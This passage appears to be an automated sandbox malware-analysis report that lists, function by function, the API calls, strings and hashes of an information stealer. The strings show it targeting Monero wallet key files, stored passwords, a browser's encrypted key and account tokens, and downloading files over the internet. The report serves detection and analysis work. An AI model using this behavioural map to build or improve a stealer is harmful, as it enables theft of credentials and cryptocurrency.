
API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 98f736806e4e6253e22fd68756b9da6f4171b28df0c997bf2db9d4b4327dd6b5
Instruction ID: ba1d48de870bff2be0d247e3d5cfbd4ec25cfd20eae8704ddbf1f3290356fc03
Opcode Fuzzy Hash: 98f736806e4e6253e22fd68756b9da6f4171b28df0c997bf2db9d4b4327dd6b5
Instruction Fuzzy Hash: 2A51DA709101489ACB18EF68CD96AEE7779FF50341F508028E42EDA596DF34AB46CB53

Function 008712D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: e945fb20f26fc3274379ca6e8e6fe0bd649a3c12202bf7b14a7111b8081681fb
Instruction ID: 11d3fa06d20e1bc9819b1d6dbbced605b5ba942122f42db95dea44232e6fad97
Opcode Fuzzy Hash: e945fb20f26fc3274379ca6e8e6fe0bd649a3c12202bf7b14a7111b8081681fb
Instruction Fuzzy Hash: B3C184B59001199BCB18EFA4DC89FEE7778FB64304F008598E51EA7185DB70EA85CF92

Function 00874280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00878DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00878E0B

lstrcat.KERNEL32(?,00000000), ref: 008742EC
lstrcat.KERNEL32(?,0116E828), ref: 0087430B
lstrcat.KERNEL32(?,?), ref: 0087431F
lstrcat.KERNEL32(?,0116D980), ref: 00874333

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 00878D90: GetFileAttributesA.KERNEL32(00000000,?,00861B54,?,?,0088564C,?,?,00880E1F), ref: 00878D9F

Part of subcall function 00869CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00869D39

Part of subcall function 008699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008699EC
Part of subcall function 008699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00869A11
Part of subcall function 008699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00869A31
Part of subcall function 008699C0: ReadFile.KERNEL32(000000FF,?,00000000,0086148F,00000000), ref: 00869A5A
Part of subcall function 008699C0: LocalFree.KERNEL32(0086148F), ref: 00869A90
Part of subcall function 008699C0: CloseHandle.KERNEL32(000000FF), ref: 00869A9A

Part of subcall function 008793C0: GlobalAlloc.KERNEL32(00000000,008743DD,008743DD), ref: 008793D3

StrStrA.SHLWAPI(?,0116E660), ref: 008743F3
GlobalFree.KERNEL32(?), ref: 00874512

Part of subcall function 00869AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00864EEE,00000000,00000000), ref: 00869AEF
Part of subcall function 00869AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00864EEE,00000000,?), ref: 00869B01
Part of subcall function 00869AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00864EEE,00000000,00000000), ref: 00869B2A
Part of subcall function 00869AC0: LocalFree.KERNEL32(?,?,?,?,00864EEE,00000000,?), ref: 00869B3F

lstrcat.KERNEL32(?,00000000), ref: 008744A3
StrCmpCA.SHLWAPI(?,008808D1), ref: 008744C0
lstrcat.KERNEL32(00000000,00000000), ref: 008744D2
lstrcat.KERNEL32(00000000,?), ref: 008744E5
lstrcat.KERNEL32(00000000,00880FB8), ref: 008744F4

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: df8a5767654cbef8525e78299a3b6f17b12192387cd6eb3eda58ab5e5d06d03c
Instruction ID: 640dcf3b6a0392d55427d04cbbb6e2f0e8f630e58ea4e38b7bda93dd0e63fa39
Opcode Fuzzy Hash: df8a5767654cbef8525e78299a3b6f17b12192387cd6eb3eda58ab5e5d06d03c
Instruction Fuzzy Hash: 66714476900208ABCB54EBE4DC89FEE77B9FB98300F048598E609D7185DB34DB45CB92

Function 00861310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008612A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008612B4
Part of subcall function 008612A0: RtlAllocateHeap.NTDLL(00000000), ref: 008612BB
Part of subcall function 008612A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 008612D7
Part of subcall function 008612A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 008612F5
Part of subcall function 008612A0: RegCloseKey.ADVAPI32(?), ref: 008612FF

lstrcat.KERNEL32(?,00000000), ref: 0086134F
lstrlen.KERNEL32(?), ref: 0086135C
lstrcat.KERNEL32(?,.keys), ref: 00861377

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 00878B60: GetSystemTime.KERNEL32(00880E1A,0116ABF8,008805AE,?,?,008613F9,?,0000001A,00880E1A,00000000,?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 00878B86

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00861465

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 008699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008699EC
Part of subcall function 008699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00869A11
Part of subcall function 008699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00869A31
Part of subcall function 008699C0: ReadFile.KERNEL32(000000FF,?,00000000,0086148F,00000000), ref: 00869A5A
Part of subcall function 008699C0: LocalFree.KERNEL32(0086148F), ref: 00869A90
Part of subcall function 008699C0: CloseHandle.KERNEL32(000000FF), ref: 00869A9A

DeleteFileA.KERNEL32(00000000), ref: 008614EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00861335
.keys, xrefs: 0086136B
wallet_path, xrefs: 00861330
\Monero\wallet.keys, xrefs: 0086138D

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: fc82f9c6a8819f4c2979ac9e0e5bc7e8ddff462014aba8073afb385931efac8a
Instruction ID: 1018a76d8d9580ef1265ea9d8313caf31a8b8ba991befda3c1b57a7eaae96562
Opcode Fuzzy Hash: fc82f9c6a8819f4c2979ac9e0e5bc7e8ddff462014aba8073afb385931efac8a
Instruction Fuzzy Hash: B55132B191011957CB59EB64DC95BEE737CFB54300F4041A8B61AE2086EF309B85CBA7

Function 008675D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008672D0: memset.MSVCRT ref: 00867314
Part of subcall function 008672D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0086733A
Part of subcall function 008672D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 008673B1
Part of subcall function 008672D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0086740D
Part of subcall function 008672D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00867452
Part of subcall function 008672D0: HeapFree.KERNEL32(00000000), ref: 00867459

lstrcat.KERNEL32(00000000,008817FC), ref: 00867606
lstrcat.KERNEL32(00000000,00000000), ref: 00867648
lstrcat.KERNEL32(00000000, : ), ref: 0086765A
lstrcat.KERNEL32(00000000,00000000), ref: 0086768F
lstrcat.KERNEL32(00000000,00881804), ref: 008676A0
lstrcat.KERNEL32(00000000,00000000), ref: 008676D3
lstrcat.KERNEL32(00000000,00881808), ref: 008676ED
task.LIBCPMTD ref: 008676FB

Strings

: , xrefs: 0086764E

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 0d178cf2d6f0a5019a9f2a69cf2a3b8d89507d4cc464ade3e0b7ee2bbeee6389
Instruction ID: 75cbb499d716a4d3b2951b7cf6444344bc681e8e3301b480ed5e8940405a53a0
Opcode Fuzzy Hash: 0d178cf2d6f0a5019a9f2a69cf2a3b8d89507d4cc464ade3e0b7ee2bbeee6389
Instruction Fuzzy Hash: FE314D7190010ADBCB48EBE8DC99DFE73B9FB69305B144118E106E7291DB38A947CB92

Function 008672D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00867314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0086733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 008673B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0086740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00867452
HeapFree.KERNEL32(00000000), ref: 00867459
task.LIBCPMTD ref: 00867555

Strings

Password, xrefs: 00867401

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: e54acc2514a262698f71b919abc150f1850bf29c7e6875541e9c96d4db9d8317
Instruction ID: 5bcd60b1637d85706441de930fc894363b3496ee83d1990a43ee946ebfe68819
Opcode Fuzzy Hash: e54acc2514a262698f71b919abc150f1850bf29c7e6875541e9c96d4db9d8317
Instruction Fuzzy Hash: 93614CB180412C9BDB24DB54CC55BDAB7B8FF58304F0081E9E689A6281EF705BC9CFA1

Function 00878100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0116E438,00000000,?,00880E2C,00000000,?,00000000), ref: 00878130
RtlAllocateHeap.NTDLL(00000000), ref: 00878137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00878158
__aulldiv.LIBCMT ref: 00878172
__aulldiv.LIBCMT ref: 00878180
wsprintfA.USER32 ref: 008781AC

Strings

@, xrefs: 0087814D
%d MB, xrefs: 008781A3

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 59a0aff504a9b73450a88e27f029f78a283c1ec54edec811f3b6da4b319ea8fc
Instruction ID: 17bb6f783170639f50fa9e3e81ffdead94f0a0093671af3f3a8166058ac8c15b
Opcode Fuzzy Hash: 59a0aff504a9b73450a88e27f029f78a283c1ec54edec811f3b6da4b319ea8fc
Instruction Fuzzy Hash: 93210BB1E44319ABDB00DFD4CC49FAEB7B8FB44B14F108519F619BB284D778A9018BA5

Function 008660A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 008647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00864839
Part of subcall function 008647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00864849

InternetOpenA.WININET(00880DF7,00000001,00000000,00000000,00000000), ref: 0086610F
StrCmpCA.SHLWAPI(?,0116ED88), ref: 00866147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0086618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 008661B3
InternetReadFile.WININET(?,?,00000400,?), ref: 008661DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0086620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00866249
InternetCloseHandle.WININET(?), ref: 00866253
InternetCloseHandle.WININET(00000000), ref: 00866260

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 7f86f754e6695e3e3502572d9635bbec44ffd8e0d1965a293a861ed07d3d3ef9
Instruction ID: 471b513275363f7fa8598b4554bab3cb73ff2d1b9778dfc91c1e79d85c75d6d4
Opcode Fuzzy Hash: 7f86f754e6695e3e3502572d9635bbec44ffd8e0d1965a293a861ed07d3d3ef9
Instruction Fuzzy Hash: E45194B1900219ABDB24DF90DC55BEE77B8FB44705F108098B605E72C0EB75AA89CF96

Function 0086BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

lstrlen.KERNEL32(00000000), ref: 0086BC9F

Part of subcall function 00878E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00878E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0086BCCD
lstrlen.KERNEL32(00000000), ref: 0086BDA5
lstrlen.KERNEL32(00000000), ref: 0086BDB9

Strings

AccountId, xrefs: 0086BCC4
AccountTokens, xrefs: 0086BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0086BBEB
AccountTokens, xrefs: 0086BB49

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: d76a1ef074b3206d67163e804f61a1371a287304bfb4d00cf1f723d19ed75d1e
Instruction ID: 40549fc10d5a9b829a425be481d2988452bc5b99e8ce1f01c584f300216f03ba
Opcode Fuzzy Hash: d76a1ef074b3206d67163e804f61a1371a287304bfb4d00cf1f723d19ed75d1e
Instruction Fuzzy Hash: DCB120719101089BDB08FBA4CD96EEE7778FF94304F408168F51AE6195EF34AA49CB63

Function 00876770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00876774
ExitProcess.KERNEL32 ref: 008767A5
ExitProcess.KERNEL32 ref: 008767AF
ExitProcess.KERNEL32 ref: 008767B9
ExitProcess.KERNEL32 ref: 008767C3
ExitProcess.KERNEL32 ref: 008767CD

Strings

*, xrefs: 0087678C

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
